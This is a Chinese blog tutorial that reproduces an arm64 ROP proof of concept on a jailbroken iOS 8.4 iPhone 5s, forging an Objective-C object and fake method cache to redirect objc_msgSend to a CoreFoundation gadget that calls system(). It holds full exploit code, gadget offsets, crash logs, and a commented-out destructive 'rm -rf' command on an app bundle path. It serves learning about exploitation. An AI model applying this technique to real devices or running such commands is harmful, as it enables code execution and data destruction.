iOS_arm64下ROP利用gadget调用system

682 阅读11分钟

本文是根据蒸米大佬的文章《iOS冰与火之歌:Objective-C Pwn and iOS arm64 ROP》做的一个实践。

在实践过程中也遇到一些问题,逐步解决。

测试环境

越狱设备:iphone5s

手机系统:iOS 8.4

电脑设备:Macbook Pro

电脑系统:macOS 10.15.1


Class的数据结构

 Class 其实是一个指向 objc_class 结构体的指针:

typedef struct objc_class *Class;

而 objc_class 包含很多方法:

struct objc_class {
    Class _Nonnull isa  OBJC_ISA_AVAILABILITY;

#if !__OBJC2__
    Class _Nullable super_class                              OBJC2_UNAVAILABLE;
    const char * _Nonnull name                               OBJC2_UNAVAILABLE;
    long version                                             OBJC2_UNAVAILABLE;
    long info                                                OBJC2_UNAVAILABLE;
    long instance_size                                       OBJC2_UNAVAILABLE;
    struct objc_ivar_list * _Nullable ivars                  OBJC2_UNAVAILABLE;
    struct objc_method_list * _Nullable * _Nullable methodLists                    OBJC2_UNAVAILABLE;
    struct objc_cache * _Nonnull cache                       OBJC2_UNAVAILABLE;
    struct objc_protocol_list * _Nullable protocols          OBJC2_UNAVAILABLE;
#endif

} OBJC2_UNAVAILABLE;

 



  • Class 的定义是 typedef struct objc_class *Class
  • isa: 在Objective-C中,类自身也是一个对象,这个对象的Class里面也有一个isa指针,它指向metaClass(元类)
  • super_class:指向该类的父类,如果该类已经是最顶层的根类(如NSObject或NSProxy),则super_classNULL
  • cache:用于缓存最近使用的方法,增加命中率。runtime会优先去cache中查找需要调用的方法,如果cache中没有,才去methodLists中查找方法。


  • objc_msgSend 的 cache 机制

    为了保证消息发送与执行的效率,系统会将全部selector和使用过的方法的内存地址缓存起来。每个类都有一个独立的缓存,缓存包含有当前类自己的selector以及继承自父类的selector。查找调度表(dispatch table)前,消息发送系统首先检查receiver对象的缓存。

    利用方法调用的 cache 机制,如果我们可以伪造一个ObjC对象,然后构造一个假的cache,我们就有机会控制PC指针了。

    改变程序执行流程

    利用cache机制,

    main.m的代码:

    #import "Talker.h"
    #include <dlfcn.h>
    #include <mach-o/dyld_images.h>
    #include <objc/runtime.h>
    #import <Foundation/Foundation.h>
    #import <CoreFoundation/CoreFoundation.h>
    
     
    struct fake_receiver_t
    {
        uint64_t fake_objc_class_ptr;
    }fake_receiver;
     
    struct fake_objc_class_t {
        char pad[0x10];
        void* cache_buckets_ptr;
        uint32_t cache_bucket_mask;
    } fake_objc_class;
     
    struct fake_cache_bucket_t {
        void* cached_sel;
        void* cached_function;
    } fake_cache_bucket;
    
    
    int main(void) {
     
        Talker *talker = [[Talker alloc] init];
        [talker say: @"Hello, Ice and Fire!"];
        [talker say: @"Hello, Ice and Fire!"];
        [talker release];
     
        fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");
        NSLog(@"cached_sel = %p", NSSelectorFromString(@"release"));
     
        fake_cache_bucket.cached_function = (void*)0x41414141414141;
        NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);
     
        fake_objc_class.cache_buckets_ptr = &fake_cache_bucket;
        fake_objc_class.cache_bucket_mask=0;
     
        fake_receiver.fake_objc_class_ptr=&fake_objc_class;
        talker= &fake_receiver;
     
        [talker release];
    }
    

    talker.h 代码:

    #import <Foundation/Foundation.h>
    
    @interface Talker : NSObject
    
    - (void) say: (NSString*) phrase;
    
    @end
    

    talker.m 代码:

    #import "Talker.h"
    
    @implementation Talker
    
    - (void) say: (NSString*) phrase {
      NSLog(@"%@\n", phrase);
    }
    
    @end
    


    编译代码生成可执行程序 ioshello_2 ,并把程序复制到手机中执行:

    iPhone5s:/var/mobile/Documents/test root# ./ioshello_2
    2020-07-09 14:41:11.716 ioshello_2[46447:486476] Hello, Ice and Fire!
    2020-07-09 14:41:11.722 ioshello_2[46447:486476] Hello, Ice and Fire!
    2020-07-09 14:41:11.722 ioshello_2[46447:486476] cached_sel = 0x1936ff52c
    2020-07-09 14:41:11.723 ioshello_2[46447:486476] fake_cache_bucket.cached_function = 0x41414141414141
    Bus error: 10

    程序打印了相关信息,并最终崩溃,越狱手机中安装了CrashReporter插件,帮我们把错误信息保存到了 /var/logs/CrashReporter 路径下,找到错误日志ioshello_2_2020-07-09-144111_iPhone5s.symbolicated.ips ,主要内容如下:

    {"blame":[],"app_name":"ioshello_2","app_version":"","slice_uuid":"816b0fd9-5361-3dc9-825b-ab1c7415032b","build_version":"","share_with_app_devs":false,"is_first_party":true,"bug_type":"109","os_version":"iPhone OS 8.4 (12H143)","symbolicated":true,"name":"ioshello_2"}
    Incident Identifier: 882D042A-F9ED-40A2-B2B5-779E9D318143
    CrashReporter Key:   d6da8ea49d8a51707c22d07bf2090870abcddc59  
    
    Thread 0 crashed with ARM Thread State (64-bit):
        x0: 0x00000001000b4668   x1: 0x00000001936ff52c   x2: 0x00000001000b4638   x3: 0x0000000000000010
        x4: 0x000000016fd53518   x5: 0x0000000000000041   x6: 0x0000000000000000   x7: 0x0000000000000fa0
        x8: 0x00000001000b4450   x9: 0x00000001000b4648  x10: 0x00000001000b4638  x11: 0x0000000000000000
       x12: 0x00000001000b4638  x13: 0x00000001000b4648  x14: 0x0000000000003fff  x15: 0x0000000000003fff
       x16: 0x00000001936ff52c  x17: 0x0041414141414141  x18: 0x0000000000000000  x19: 0x0000000000000000
       x20: 0x0000000000000000  x21: 0x0000000000000000  x22: 0x0000000000000000  x23: 0x0000000000000000
       x24: 0x0000000000000000  x25: 0x0000000000000000  x26: 0x0000000000000000  x27: 0x0000000000000000
       x28: 0x000000016fd53810  fp: 0x000000016fd537e0   lr: 0x00000001000b1de0
        sp: 0x000000016fd537d0   pc: 0x0041414141414141 cpsr: 0x60000000
    

    可以看到 pc 寄存器已变为 0x0041414141414141 ,因为找不到这个地址对应的代码,因此程序崩溃。

     iOS上的arm64 ROP 

    iOS上使用ROP的原理

    ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。

     在iOS上默认是开启ASLR+DEP+PIE的。ASLR和DEP很好理解,PIE的意思是program image本身在内存中的地址也是随机的。所以我们在iOS上使用ROP技术必须配合信息泄露的漏洞才行。虽然在iOS上写ROP非常困难,但有个好消息是虽然program image是随机的,但是每个进程都会加载的dyld_shared_cache这个共享缓存的地址在开机后是固定的,并且每个进程的dyld_shared_cache都是相同的。


    寻找gadget 

    先实现一个简单的ROP,用system()函数执行”touch /tmp/IceAndFire”。因为x0是我们控制的fake_receiver的地址,因此我们可以搜索利用x0来控制其他寄存器的gadgets。

     1、dyld_shared_cache文件一般保存在/System/Library/Caches/com.apple.dyld/这个目录下。


    从手机导出 dyld_shared_cache_arm64 到电脑备用。

    2、从dyld_shared_cache_arm64 提取系统文件

    详细方法见此文:iOS逆向_抽取iOS真机系统库文件

    https://mp.weixin.qq.com/s/y2hwD4gPc8eJVBAS_o2DXg

     

    3、从上一步导出的系统文件中找到 CoreFoundation 库,并用ROPgadget搜索gadget

    自行安装ROPgadget工具,使用下面的命令:

    ROPgadget --binary ./CoreFoundation
    

    输出内容很多,只展示部分:

    ........忽略了很多内容......
    
    
    0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef88 ; br x1
    0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef8c ; br x1 ; ret
    
    
    .......忽略了很多内容.......

    蒸米大神选择的gadget是:

    ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1
    

    我们找一个类似的,从终端打印的全部信息中,搜索”ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, “可以找到多条数据,最终定位到这一条:

    0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef88 ; br x1
    

    可以看到它在 CoreFoundation 中的地址是 0x0000000181ccef6c

    用IDA查看上文找到的 CoreFoundation 库,并找到 0x0000000181ccef6c 位置:


    确实很适合用来ROP。

    再用IDA查看 CoreFoundation 库的起始地址是0x000000181BF0000:


    计算 0x0000000181ccef6c - 0x000000181BF0000 = 0xDEF6C

    0xDEF6C 就是后面要用到的地址偏移量。

    代码利用

    随后我们可以构造一个假的结构体,然后给对应的寄存器赋值: 

    #!objc
    struct fake_receiver_t
    {
        uint64_t fake_objc_class_ptr;
        uint8_t pad1[0x70-0x8];
        uint64_t x0;
        uint8_t pad2[0x98-0x70-0x8];
        uint64_t x1;
        char cmd[1024];
    }fake_receiver;
    

    为fake_receiver 设置system命令:

    fake_receiver.x0=(uint64_t)&fake_receiver.cmd;
    fake_receiver.x1=(void *)dlsym(RTLD_DEFAULT, "system");
    NSLog(@"system_address = %p", (void*)fake_receiver.x1);
    strcpy(fake_receiver.cmd, "touch /tmp/IceAndFire");
    

    最后我们将cached_function的值指向我们gagdet的地址就能控制程序执行system()指令了: 

    uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");
    NSLog(@"CoreFoundationbase address = %p", (void*)CoreFoundation_base);
    //测试机5s_ios8.4的示例:
    //0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef88 ; br x1
    //计算 0x0000000181ccef6c - 0x000000181BF0000 = 0xDEF6C
    fake_cache_bucket.cached_function = (void*)CoreFoundation_base + 0xDEF6C;
    

    编译运行生成 ioshello 程序,复制到手机,运行如下:

    iPhone5s:/var/mobile/Documents/test root# chmod +x ioshello
    iPhone5s:/var/mobile/Documents/test root# ./ioshello
    2020-07-09 16:34:38.311 ioshello[48484:508026] Hello, Ice and Fire!
    2020-07-09 16:34:38.317 ioshello[48484:508026] Hello, Ice and Fire!
    2020-07-09 16:34:38.318 ioshello[48484:508026] cached_sel = 0x1936ff52c
    2020-07-09 16:34:38.318 ioshello[48484:508026] test--image_name = /private/var/mobile/Documents/test/./ioshello
    2020-07-09 16:34:38.319 ioshello[48484:508026] test--image_load_address = 0x100024000
    2020-07-09 16:34:38.320 ioshello[48484:508026] test--image_name = /System/Library/Frameworks/Foundation.framework/Foundation
    2020-07-09 16:34:38.320 ioshello[48484:508026] test--image_load_address = 0x1864bc000
    2020-07-09 16:34:38.321 ioshello[48484:508026] test--image_name = /usr/lib/libobjc.A.dylib
    2020-07-09 16:34:38.321 ioshello[48484:508026] test--image_load_address = 0x19731c000
    2020-07-09 16:34:38.322 ioshello[48484:508026] test--image_name = /usr/lib/libSystem.B.dylib
    2020-07-09 16:34:38.323 ioshello[48484:508026] test--image_load_address = 0x19681c000
    2020-07-09 16:34:38.323 ioshello[48484:508026] test--image_name = /System/Library/Frameworks/CoreFoundation.framework/CoreFoundation
    2020-07-09 16:34:38.324 ioshello[48484:508026] test--image_load_address = 0x185588000
    2020-07-09 16:34:38.324 ioshello[48484:508026] CoreFoundationbase address = 0x185588000
    2020-07-09 16:34:38.325 ioshello[48484:508026] fake_cache_bucket.cached_function = 0x185666f6c
    2020-07-09 16:34:38.326 ioshello[48484:508026] system_address = 0x197a73484
    iPhone5s:/var/mobile/Documents/test root# 
    
    

    运行正常,并且查看手机 /tmp 路径下,生成了一个 IceAndFire 文件。

    总结

    1、0xDEF6C 是本文的地址偏移量,请务必根据你的实际操作获取这个值。

    2、如果程序运行崩溃,大概率就是你的pc寄存器中的地址错误导致的,务必计算好地址偏移量。

    最终的完整代码:

    #import "Talker.h"
    #include <dlfcn.h>
    #include <mach-o/dyld_images.h>
    #include <objc/runtime.h>
    #import <Foundation/Foundation.h>
    #import <CoreFoundation/CoreFoundation.h>
    
    struct fake_receiver_t
    {
        uint64_t fake_objc_class_ptr;
        uint8_t pad1[0x70-0x8];
        uint64_t x0;
        uint8_t pad2[0x98-0x70-0x8];
        uint64_t x1;
        char cmd[1024];
    }fake_receiver;
    
    struct fake_objc_class_t {
        char pad[0x10];
        void* cache_buckets_ptr;
        uint32_t cache_bucket_mask;
    } fake_objc_class;
    
    struct fake_cache_bucket_t {
        void* cached_sel;
        void* cached_function;
    } fake_cache_bucket;
    
    void* find_library_load_address(const char* library_name){
        kern_return_t err;
        
        task_dyld_info_data_t task_dyld_info;
        mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
        err = task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count);
        
        const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr;
        const struct dyld_image_info* image_infos = all_image_infos->infoArray;
        
        for(size_t i = 0; i < all_image_infos->infoArrayCount; i++){
            const char* image_name = image_infos[i].imageFilePath;
            mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress;
            NSLog(@"test--image_name = %s", image_name);
    
            NSLog(@"test--image_load_address = %p", (void*)image_load_address);
    
            if (strstr(image_name, library_name)){
                return (void*)image_load_address;
            }
        }
        return NULL;
    }
    
    int main(void) {
        
        Talker *talker = [[Talker alloc] init];
        [talker say: @"Hello, Ice and Fire!"];
        [talker say: @"Hello, Ice and Fire!"];
        [talker release];
        
        fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");
        NSLog(@"cached_sel = %p", NSSelectorFromString(@"release"));
    
        uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");
    
        NSLog(@"CoreFoundationbase address = %p", (void*)CoreFoundation_base);
        
        //测试机5s_ios8.4的示例:
        //0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef88 ; br x1
        //计算 0x0000000181ccef6c - 0x000000181BF0000 = 0xDEF6C
        fake_cache_bucket.cached_function = (void*)CoreFoundation_base + 0xDEF6C;
    
        
        NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);
    
        fake_receiver.x0=(uint64_t)&fake_receiver.cmd;
        fake_receiver.x1=(void *)dlsym(RTLD_DEFAULT, "system");
        NSLog(@"system_address = %p", (void*)fake_receiver.x1);
        strcpy(fake_receiver.cmd, "touch /tmp/IceAndFire");
    
    //    strcpy(fake_receiver.cmd, "rm -rf /var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/");
        
        fake_objc_class.cache_buckets_ptr = &fake_cache_bucket;
        fake_objc_class.cache_bucket_mask=0;
        
        fake_receiver.fake_objc_class_ptr=&fake_objc_class;
        talker = &fake_receiver;
        
        [talker release];
    }
    
    

    公众号:逆向APP